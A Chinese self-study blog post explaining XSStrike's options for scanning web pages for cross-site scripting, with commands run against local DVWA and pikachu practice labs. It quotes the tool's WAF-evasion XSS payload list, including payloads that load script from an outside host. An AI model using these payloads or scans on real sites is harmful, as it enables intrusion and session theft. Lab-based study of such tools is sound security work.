网络安全——XSStrike中文手册【自学笔记】

安装

克隆

git clone https://github.com/s0md3v/XSStrike.git

安装模块

pip3 install -r requirements.txt

环境要求

python版本

>=3.4

操作系统

Linux (Arch, Debian, Ubnutu), Termux, Windows (7 & 10), Mac

选项

帮助 

python xsstrike.py -h

添加目标url

单个

GET方法

选项:-u或--url

python xsstrike.py -u "http://example.com/search.php?q=query"
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('xss')</script>"

POST方法

选项:--data

python xsstrike.py -u "http://example.com/search.php" --data "q=query"
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_s/" --data "txtName=test&mtxMessage=This+is+a+test+comment.&btnSign=Sign+Guestbook"

【一>所有资源获取,点击这里<一】
1、很多已经买不到的绝版电子书
2、安全大厂内部的培训资料
3、全套工具包
4、100份src源码技术文档
5、网络安全基础入门、Linux、web安全、攻防方面的视频
6、应急响应笔记 7、 网络安全学习路线
8、ctf夺旗赛解析
9、WEB安全入门笔记

从文件

选项:--seeds 不使用-u选项

python xsstrike.py --seeds urls.txt

文件内容:

测试url路径组件

选项:--path

想要在URL路径中注入这样的有效负载 http://example.com/search/<payload>

python xsstrike.py -u "http://example.com/search/form/query" --path

POST数据为json格式

选项:--json

python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"}' --json

爬取

从目标网页开始搜寻目标并进行测试。

默认

选项:--crawl

python xsstrike.py -u "http://example.com/page.php" --crawl

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/" --crawl

1/1 是它找到的,连个空格都不加,不太成熟。

爬取深度

选项-l或--level 默认为2

python xsstrike.py -u "http://example.com/page.php" --crawl -l 3

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/" --crawl -l 3

从文件读取payloads

选项:-f或--file

python3 xsstrike.py -u "http://example.com/page.php?q=query" -f /path/to/file.txt

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=''" -f payloads.txt

测试完毕,不给结果???

查找隐藏参数

选项: --params

python xsstrike.py -u "http://example.com/page.php" --params 

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/" --params

这个小东西是针不戳呢:),文章我都写不下去了,这和sqlmap差远了呀!!!

时间问题

线程数

选项: -t或 --threads,默认: 2

python xsstrike.py -u "http://example.com" -t 10 --crawl -l 3

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/" -t 3 --crawl -l 3

超时

选项: --timeout, 默认: 7

python xsstrike.py -u "http://example.com/page.php?q=query" --timeout=4

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --timeout=3

延迟

两个请求之间的延迟

选项: -d或 --delay,默认: 0

python xsstrike.py -u "http://example.com/page.php?q=query" -d 2

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" -d 2

headers

选项: --headers 使用\n分隔

python xsstrike.py -u http://example.com/page.php?q=query --headers "Accept-Language: en-US\nCookie: null"

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --headers "Cookie:security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=h9u1rmfie6ck34qsa2890777o1"

真是棒棒的,我都忍不住抓包了!!!

大兄弟???Cookie呢???WTF

前面也就算了,应该是Cookie的问题,做到这里我心态炸了,这就GitHub第一XSS注入神器???

盲注

选项: --blind

在爬取时使用此选项,XSStrike注入定义在core/config.py中的盲注payloads到每个HTML表单的每个参数。

core/config.py中的payloads

python xsstrike.py -u "http://example.com/page.php?q=query" --crawl --blind

payloads = (  # Payloads for filter & WAF evasion
    '\'"</Script><Html Onmouseover=(confirm)()//'
    '<imG/sRc=l oNerrOr=(prompt)() x>',
    '<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
    '<deTails open oNToggle=confi\u0072m()>',
    '<img sRc=l oNerrOr=(confirm)() x>',
    '<svg/x=">"/οnlοad=confirm()//',
    '<svg%0Aοnlοad=%09((pro\u006dpt))()//',
    '<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>',
    '<sCript x>confirm``</scRipt x>',
    '<Script x>prompt()</scRiPt x>',
    '<sCriPt sRc=//14.rs>',
    '<embed//sRc=//14.rs>',
    '<base href=//14.rs/><script src=/>',
    '<object//data=//14.rs>',
    '<s=" οnclick=confirm``>clickme',
    '<svG oNLoad=co\u006efirm(1)>',
    '\'"><y///oNMousEDown=((confirm))()>Click',
    '<a/href=javascript:co\u006efirm("1")>clickme</a>',
    '<img src=x οnerrοr=confir\u006d`1`>',
    '<svg/οnlοad=co\u006efir\u006d`1`>')

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --crawl --blind

有效负载编码

选项: -e或 --encode

XSStrike可以按需编码有效负载。目前仅支持base64。

python xsstrike.py -u "http://example.com/page.php?q=query" -e base64

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" -e base64

模糊测试

选项: --fuzzer

该模糊器旨在测试过滤器和Web应用程序防火墙。

python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --fuzzer

日志显示最低级别

选项(控制台): --console-log-level,默认:INFO

python xsstrike.py -u "http://example.com/search.php?q=query" --console-log-level WARNING

选项(文件:--file-log-level,默认:None

python xsstrike.py -u "http://example.com/search.php?q=query" --console-log-level DEBUG

选项(配合--file-log-level): --log-file,默认: xsstrike.log

python xsstrike.py -u "http://example.com/search.php?q=query" --file-log-level INFO --log-file output.log 

python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --crawl --blind --headers "Cookie:security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=h9u1rmfie6ck34qsa2890777o1" --file-log-level INFO

这我自己都能发现。。。浪费时间,睡觉了。。。

继续搞。。。没准哪天可以了呢

跳过确认提示

选项:--skip

如果希望XSStrike发现了可以工作的payload后继续扫描,而不询问,则可以使用此选项。它也将跳过POC的生成。

python xsstrike.py -u "http://example.com/search.php?q=query" --skip

python xsstrike.py -u "127.0.0.1/dvwa/vulnerabilities/xss_r/?name=s" --skip

跳过Dom扫描

选项:--skip-dom

如果确定了不是dom型,为了节省时间,可以跳过dom扫描。

python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom

python xsstrike.py -u "127.0.0.1/dvwa/vulnerabilities/xss_r/?name=s" --skip-dom

确实没有check dom

更新

选项:--update

python xsstrike.py --update

 

分析(DVWA不行)

通过上面,大家也看到了我的很多抱怨。看来应该是dvwa的cookie问题,这个软件在cookie这个方面似乎做的不好。

我又试了靶机pikachu,是可以的。

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=q&submit=submit" --skip-dom

有时间使用XSStrike写一下pikachu的xss注入

还有很多类似的笔记和教程资料等,需要的小伙伴可以自行领取

猜你喜欢

转载自blog.csdn.net/yinjiyufei/article/details/131031796